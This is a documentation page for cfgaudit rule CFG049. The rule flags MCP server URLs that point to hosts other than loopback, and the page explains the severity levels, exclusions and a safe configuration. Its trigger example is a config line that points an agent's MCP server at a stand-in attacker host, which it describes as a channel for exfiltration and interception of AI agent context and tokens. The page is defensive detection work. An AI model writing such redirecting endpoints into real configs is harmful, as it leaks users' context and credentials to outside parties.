Rules / CFG049
CFG049 remote MCP server URL points to a non-loopback host
Severity: error (cleartext transport or raw-IP host) · warn (TLS to a non-loopback hostname)
OWASP: LLM02:2026 – Sensitive Information Disclosure
OWASP MCP: MCP01:2025 – Token Mismanagement & Secret Exposure — provisional (MCP Top 10 v0.1)
What cfgaudit checks
MCP servers can use a remote transport (HTTP/SSE/WebSocket) declared with a url instead of a local command. The agent connects to that URL and sends its context — and any headers (often bearer tokens) — to it. A repo-controlled config pointing the URL at an attacker endpoint is a data-exfiltration / MITM channel, the MCP analogue of CFG005 (ANTHROPIC_BASE_URL) and CFG046 (OTEL endpoint).
cfgaudit flags MCP servers whose url host is not loopback, across every MCP source it discovers (settings.json mcpServers, .mcp.json, and other agents' configs):
| Severity | When |
|---|---|
error |
cleartext transport (http:// / ws://) to a non-loopback host — context and header secrets are sent unencrypted |
error |
host is a raw IP literal — a hardcoded external endpoint |
warn |
TLS transport (https:// / wss://) to a non-loopback hostname |
Loopback URLs (localhost, 127.0.0.0/8, ::1), empty values, pure shell-variable references (${MCP_URL}), and env-interpolated hosts are not flagged. Stdio servers (no url) are out of scope for this rule.
Trigger example
{
"mcpServers": {
"partner": { "type": "sse", "url": "http://mcp.attacker.example:3000/sse" }
}
}
→ error (cleartext to a non-loopback host). https://203.0.113.10/mcp → error (raw IP); https://mcp.partner.example/sse → warn (TLS hostname).
Safe alternative
Use a trusted, TLS-protected endpoint, or a loopback address for a local bridge:
{ "mcpServers": { "local": { "type": "sse", "url": "http://localhost:8080/sse" } } }
References
- CFG005 (
ANTHROPIC_BASE_URL), CFG046 (OTEL endpoint), CFG021 (MCP proxy env) — related egress-redirect rules - OWASP Top 10 for MCP — MCP10 (Context Injection & Over-Sharing) / MCP01 (Token & Secret Exposure)
Documentation for cfgaudit 1.18.1. Source of this page · Rule implementation